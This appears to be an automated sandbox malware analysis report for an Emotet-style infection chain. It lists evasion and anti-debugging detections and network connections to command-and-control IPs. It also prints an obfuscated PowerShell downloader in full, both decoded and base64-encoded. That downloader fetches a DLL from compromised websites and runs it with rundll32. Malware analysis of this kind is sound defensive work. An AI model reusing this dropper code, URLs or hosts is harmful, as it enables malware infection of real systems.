Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2512 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: rundll32.exe, 00000007.00000002.2097021006.000000000040D000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\SysWOW64\rundll32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002460 RunDLL,LoadLibraryA,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWind 7_2_10002460
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007528 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 7_2_10007528
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10013BFB LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer, 7_2_10013BFB
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002D76B2 mov eax, dword ptr fs:[00000030h] 7_2_002D76B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006A6AB2 mov eax, dword ptr fs:[00000030h] 8_2_006A6AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E6AB2 mov eax, dword ptr fs:[00000030h] 9_2_001E6AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00396AB2 mov eax, dword ptr fs:[00000030h] 10_2_00396AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00206AB2 mov eax, dword ptr fs:[00000030h] 11_2_00206AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001A6AB2 mov eax, dword ptr fs:[00000030h] 12_2_001A6AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002876B2 mov eax, dword ptr fs:[00000030h] 13_2_002876B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_002D76B2 mov eax, dword ptr fs:[00000030h] 14_2_002D76B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_001B6AB2 mov eax, dword ptr fs:[00000030h] 15_2_001B6AB2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 16_2_006C76B2 mov eax, dword ptr fs:[00000030h] 16_2_006C76B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 17_2_002476B2 mov eax, dword ptr fs:[00000030h] 17_2_002476B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 18_2_002B76B2 mov eax, dword ptr fs:[00000030h] 18_2_002B76B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_001E76B2 mov eax, dword ptr fs:[00000030h] 19_2_001E76B2
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004500 GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError, 7_2_10004500
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007528 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 7_2_10007528
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10009F26 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_10009F26
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10006F64 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 7_2_10006F64

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 202.187.222.40 80
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 184.66.18.83 80
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 167.71.148.58 187
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded $E3Sy = [TYPE]("{4}{3}{0}{1}{5}{2}"-f'M.Io.D','iRe','TORY','Ste','sy','C') ; SeT-ITEM VARIabLE:i7RpVz ([TYPE]("{1}{4}{2}{0}{6}{3}{7}{5}"-f 'ET.SeRVi','S','TEm.N','INT','yS','AnAgEr','CePo','M')) ;$Xsejjoo=('N'+('avc'+'lg')+'u');$Slfr1gp=$Rpb56t4 + [char](64) + $U9nybjs;$Wwuhcfs=(('U_m'+'4k')+'pq'); (gET-vARIaBle e3sY -vAlUeOn )::"CReaTEDire`c`ToRY"($HOME + (('Y'+'b'+'sR'+('g064'+'6rYbs'+'Q'+'9')+('0xm'+'rq'+'Yb')+'s') -REPlaCe ('Y'+'bs'),[cHAr]92));$K309qw1=(('Rq'+'rm')+('b2'+'8')); ( Ls variAble:i7rPvZ ).vaLUe::"SEcUri`TYpRo`TOc`ol" = (('Tls'+'1')+'2');$Nmh1wmf=(('X3b6'+'g')+'a'+'o');$Ojz_wa7 = ('M'+('8jkl'+'v4'));$Xgtwzgh=(('Cc'+'k0h')+'16');$Qqayu6h=('B'+('e6'+'f')+('r'+'w0'));$Jdgza5o=$HOME+(('{0'+'}Rg0646r'+'{'+'0}Q90'+'xmrq{'+'0}') -F [ChAR]92)+$Ojz_wa7+(('.'+'dl')+'l');$N05q5t5=('O'+('_'+'3'+'e2pf'));$Gkhm1tg=neW-Ob`j`ECT NeT.WEBClieNt;$Jkdys0o=(((('ht'+'t'+'p:J'+')(3s2)'))+('('+'J)(3s2'+')')+(('(zh'+'o'))+('ngs'+'h'+'ixingc'+'hua')+('n'+'g.')+'c'+'om'+(('J)(3s2'+')'))+'('+'wp'+('-'+'adminJ')+((')('))+(('3s'+'2)'))+(('(OTmJ'+')('+'3s'+'2)(@'))+('ht'+'t')+('p'+':J')+((')'+'(3s2'))+((')('+'J'))+((')('+'3s'))+'2'+((')('))+'w'+'w'+'w'+('.gre'+'a')+'u'+('ds'+'tu')+('d'+'io')+(('.c'+'omJ)'+'(3s'))+'2'+((')(d'+'o'+'cs'))+(('J'+')'+'(3s2)'))+(('(FGnJ'+')'+'('+'3'+'s2)(@http:J)('))+'3'+'s'+(('2)('+'J)'+'(3s'))+(('2)(k'+'o'))+'r'+('ea'+'nk'+'id')+('s'+'ed')+('u.c'+'om')+(('J)('+'3'))+'s2'+((')('+'wp-co'+'n'))+('ten'+'t')+(('J)'))+(('(3'+'s2)('))+('2c'+'Q')+(('Th
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $E3Sy = [TYPE]("{4}{3}{0}{1}{5}{2}"-f'M.Io.D','iRe','TORY','Ste','sy','C') ; SeT-ITEM VARIabLE:i7RpVz ([TYPE]("{1}{4}{2}{0}{6}{3}{7}{5}"-f 'ET.SeRVi','S','TEm.N','INT','yS','AnAgEr','CePo','M')) ;$Xsejjoo=('N'+('avc'+'lg')+'u');$Slfr1gp=$Rpb56t4 + [char](64) + $U9nybjs;$Wwuhcfs=(('U_m'+'4k')+'pq'); (gET-vARIaBle e3sY -vAlUeOn )::"CReaTEDire`c`ToRY"($HOME + (('Y'+'b'+'sR'+('g064'+'6rYbs'+'Q'+'9')+('0xm'+'rq'+'Yb')+'s') -REPlaCe ('Y'+'bs'),[cHAr]92));$K309qw1=(('Rq'+'rm')+('b2'+'8')); ( Ls variAble:i7rPvZ ).vaLUe::"SEcUri`TYpRo`TOc`ol" = (('Tls'+'1')+'2');$Nmh1wmf=(('X3b6'+'g')+'a'+'o');$Ojz_wa7 = ('M'+('8jkl'+'v4'));$Xgtwzgh=(('Cc'+'k0h')+'16');$Qqayu6h=('B'+('e6'+'f')+('r'+'w0'));$Jdgza5o=$HOME+(('{0'+'}Rg0646r'+'{'+'0}Q90'+'xmrq{'+'0}') -F [ChAR]92)+$Ojz_wa7+(('.'+'dl')+'l');$N05q5t5=('O'+('_'+'3'+'e2pf'));$Gkhm1tg=neW-Ob`j`ECT NeT.WEBClieNt;$Jkdys0o=(((('ht'+'t'+'p:J'+')(3s2)'))+('('+'J)(3s2'+')')+(('(zh'+'o'))+('ngs'+'h'+'ixingc'+'hua')+('n'+'g.')+'c'+'om'+(('J)(3s2'+')'))+'('+'wp'+('-'+'adminJ')+((')('))+(('3s'+'2)'))+(('(OTmJ'+')('+'3s'+'2)(@'))+('ht'+'t')+('p'+':J')+((')'+'(3s2'))+((')('+'J'))+((')('+'3s'))+'2'+((')('))+'w'+'w'+'w'+('.gre'+'a')+'u'+('ds'+'tu')+('d'+'io')+(('.c'+'omJ)'+'(3s'))+'2'+((')(d'+'o'+'cs'))+(('J'+')'+'(3s2)'))+(('(FGnJ'+')'+'('+'3'+'s2)(@http:J)('))+'3'+'s'+(('2)('+'J)'+'(3s'))+(('2)(k'+'o'))+'r'+('ea'+'nk'+'id')+('s'+'ed')+('u.c'+'om')+(('J)('+'3'))+'s2'+((')('+'wp-co'+'n'))+('ten'+'t')+(('J)'))+(('(3'+'s2)('))+('2c'+'Q')+(('Th Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1 Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bjbj\rqtl.dgq',RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Frxh\ggkviq.cnk',RunDLL Jump to behavior
